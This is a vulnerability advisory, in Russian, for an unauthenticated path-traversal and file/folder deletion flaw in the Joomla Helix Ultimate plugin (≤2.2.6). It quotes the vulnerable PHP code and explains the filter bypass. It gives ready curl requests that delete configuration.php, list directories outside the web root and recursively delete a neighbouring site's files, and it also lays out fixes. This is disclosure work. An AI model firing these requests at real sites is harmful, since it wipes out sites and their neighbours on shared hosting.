
Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Это подтвержденная уязвимость типа DoS + межсайтовый доступ к файловой системе, НЕ RCE. Теория об эскалации до RCE (удаление configuration.php для повторного открытия установщика Joomla) была проверена на практике и опровергнута — см. раздел "Эскалация до RCE — проверено и опровергнуто" ниже. Не представляйте это как RCE в любом отчете без предварительного построения реальной цепочки.
Повышение уровня серьезности (2026-07-06, второй проход): параметр path НЕ ограничивается корневой директорией Joomla, как предполагалось изначально — встроенный фильтр ввода PATH в Joomla не блокирует один компонент обхода /../, поэтому данная ошибка достигает (чтение: полный список каталогов; запись: удаление файла или рекурсивное удаление содержимого папки) чего угодно в файловой системе, к чему имеет доступ пользователь веб-сервера, а не только файлы внутри установки Joomla. В любой конфигурации общего хостинга, где несколько сайтов/арендаторов живут как соседние каталоги под одним и тем же пользователем ОС (очень распространено: cPanel "addon domains", подписки Plesk с общим пользователем, большинство бюджетных хостингов), один сайт на Helix Ultimate позволяет анонимному посетителю уничтожить все остальные сайты на той же учетной записи. См. "Обход пути выходит за пределы JPATH_ROOT полностью" ниже для живого доказательства.
Компонент: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), входит в состав практически каждого шаблона Joomla от JoomShaper (на основе Helix Ultimate).
Протестированная версия: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD по состоянию на 2026-07, последний коммит 2026-06-30)
Автор: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php предоставляет методы deleteMedia(), getFolders() и createFolder() через точку входа com_ajax в Joomla в helixultimate.php::onAfterRoute(). Эти три метода вызывают только Session::checkToken() (простая CSRF-проверка, удовлетворяемая собственным токеном сессии любого анонимного посетителя — его можно извлечь из HTML главной страницы сайта) — вообще нет вызова authorise() / проверки входа. Это не согласуется с соседним методом uploadMedia() в том же классе, который корректно требует core.edit на com_templates.
Поскольку это системный плагин, onAfterRoute() срабатывает на каждом запросе независимо от того, какой шаблон сейчас активен — уязвимый путь кода доступен, пока плагин установлен и включен (а он по умолчанию включен на любом сайте, использующем шаблон JoomShaper на основе Helix Ultimate).
plugins/system/helixultimate/helixultimate.php (~line 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path проходит через фильтр ввода PATH в Joomla (InputFilter::cleanPath()). Две независимые особенности делают это опасным:
path разрешается непосредственно относительно JPATH_ROOT, так что любой абсолютный путь от корня (/configuration.php, /administrator/..., /media/...) уже доступен.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) допускает ровно одну последовательность точек/дефисов/буквенно-цифровых символов, расположенную сразу после начального блока [A-Za-z0-9_/-]+ — и одиночный начальный / уже удовлетворяет этому начальному блоку, поэтому строка типа /../sibling_dir проходит проверку: / (блок 1), .. (разрешенная последовательность точек), (обычный завершающий сегмент). Фильтр был написан так, чтобы отклонять сегмент, который новый компонент с точкой, но никогда не предусматривал, что одна последовательность может находиться сразу после самого первого символа строки. Цепочка НЕ проходит (каждый последующий сегмент после первой последовательности точек должен начинаться с символа, отличного от точки) — поэтому выход ограничен ровно уровнем каталогов выше , но все, что ниже этого уровня (произвольная глубина), затем становится доступно обычным образом, так как дальнейшие сегменты являются обычными компонентами пути без точек.configuration.php → мгновенный, полный отказ сайта (фатальная ошибка "No configuration"), один HTTP-запрос, нулевая аутентификация.type=folder) → например, /administrator, /components, /media → гораздо более разрушительно, фактически уничтожает установку.view-media (Media::getFolders()): выводит список всех файлов изображений, всех имен подпапок и абсолютные серверные пути для любого пути относительно корня, без необходимости аутентификации (используется ниже как безопасный сигнал обнаружения).Проверено на одноразовом экземпляре Docker (Joomla 5.4.6 + плагин Helix Ultimate 2.2.6, свежая установка, полностью анонимная сессия браузера — без входа, без куки, кроме той, которую Joomla выдает каждому посетителю):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Создал соседний каталог по отношению к корневой директории Joomla (/var/www/canary_sibling, соседний с /var/www/html), принадлежащий тому же пользователю, что и веб-сервер (www-data), чтобы отразить реалистичную конфигурацию общего хостинга, заполненный файлом, изображением и подкаталогом:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Полное чтение/перечисление каталога полностью за пределами установки Joomla, включая разрешенные абсолютные серверные пути, с нулевой аутентификацией.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
Результат: все файлы внутри canary_sibling (обычный файл, изображение и подкаталог) были удалены. Выжила только теперь пустая папка верхнего уровня canary_sibling, и только потому, что в этой лаборатории она находилась непосредственно в /var/www, принадлежащем пользователю root — для удаления пустого элемента каталога требуется разрешение на запись в его родительский каталог, которого у www-data нет в /var/www. В реальной конфигурации общего хостинга (например, /home/user/domains/siteA.com/public_html и /home/user/domains/siteB.com/public_html как настоящие соседние каталоги, оба полностью принадлежащие одному пользователю учетной записи), этого последнего барьера не существует, и все дерево каталогов соседнего сайта может быть удалено.
Очевидная следующая теория: на сайте, где папка installation/ никогда не была удалена после установки, удаление configuration.php снова сделает доступным мастер установки, позволяя атакующему завершить его и создать нового суперпользователя. Это было проверено непосредственно в лаборатории и не подтвердилось:
installation/ была скопирована обратно в корневую директорию (имитация сайта, забывшего ее удалить) — configuration.php все еще присутствовал и был действителен на этом этапе.302 Found -> /installation/index.php для каждого запроса, включая собственный POST запрос эксплойта к option=com_ajax&helix=ultimate&...&action=delete-media. Уязвимый путь кода никогда не выполняется в этом состоянии — ядро Joomla сначала все замыкает на себя.installation/ присутствует: сайт уже полностью открыт для захвата любым посетителем, независимо от этой уязвимости — это уже существующая, не связанная с данной ошибкой, неправильная конфигурация Joomla, а не то, что вызывает или требует эта ошибка.installation/ отсутствует (нормальное, безопасное состояние): данная уязвимость может только удалять файлы, она не может создать папку installation/ обратно — нет способа повторно открыть установщик, имея только примитив удаления.Вывод: никакая комбинация состояний не превращает это в RCE. Подтвержденный, честный потолок воздействия — неавторизованный, безусловный, гарантированный DoS всего сайта (плюс неавторизованное раскрытие информации, отмеченное выше). Это уже является критическим по серьезности результатом само по себе и не требует завышенных заявлений о RCE.
createFolder() НЕ доступен без аутентификации (предыдущая версия была неверной)В предыдущей версии этого документа утверждалось, что Media::createFolder() также доступен без аутентификации (в качестве третьего примитива наряду с удалением/чтением). Это было неверно и исправлено после полного анализа диспетчеризации плагина:
createFolder(), а также реальные точки записи содержимого файлов в кодовой базе (Request.php: fwrite(), File::write() для файлов стилей шаблонов/веб-шрифтов/кэша CSS), все находятся в plugins/system/helixultimate/src/Platform/Request.php, диспетчеризуются только через Platform::handleRequests() <- onAfterRespond().onAfterRespond() явно требует $this->app->isClient('administrator'), а onAfterRoute() отдельно перенаправляет любого не вошедшего в систему посетителя до этого момента. Этот путь действительно аутентифицирован для администратора — подтверждено чтением точного условия шлюза, а не просто отсутствием вызова authorise() внутри самого метода (в отличие от сайтовых deleteMedia()/getFolders(), у которых действительно нет шлюза).Подтвержденный набор возможностей без аутентификации, окончательный: только удаление (файла или рекурсивное удаление папки) + чтение (список папок/изображений). Нигде в этом плагине нет примитива записи содержимого без аутентификации. Именно поэтому не было найдено цепочки RCE даже после целенаправленного поиска — RCE принципиально требует примитива записи, а данный класс ошибок его не имеет.
helix_ultimate_detect.pyНеразрушающий. Использует action=view-media (список папок/файлов) в качестве сигнала подтверждения — ничего не удаляет.
helix_ultimate_delete_poc.py (название сохранено для преемственности; подтверждает только DoS)Разрушающий. Требует явного указания --delete <path> для любого воздействия. Флаг --rce удаляет configuration.php и проверяет /installation/ исключительно для проверки того, присутствует ли эта папка случайно (в этом случае сайт был независимо открыт независимо от этой ошибки) — это не представляет собой реальной эскалации, вызванной данной уязвимостью; см. "Эскалация до RCE — проверено и опровергнуто" выше. Используйте только с письменного разрешения.
Требуются два независимых исправления, любое из них по отдельности уже остановит это:
uploadMedia(), к методам deleteMedia() и getFolders() в src/Platform/Media.php — как минимум core.edit/core.delete на com_templates (или com_media, по образцу Blog::remove_image()), перед выполнением любой операции с файловой системой.Amin İsayev / Proxima Cyber Security — 2026. Только в образовательных целях или для авторизованного тестирования.
/sibling_dir/…..../../../…JPATH_ROOTisClient('site')) в onAfterRoute() подключает только пять действий: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, который проверяет core.edit/com_templates). create-folder среди них нет.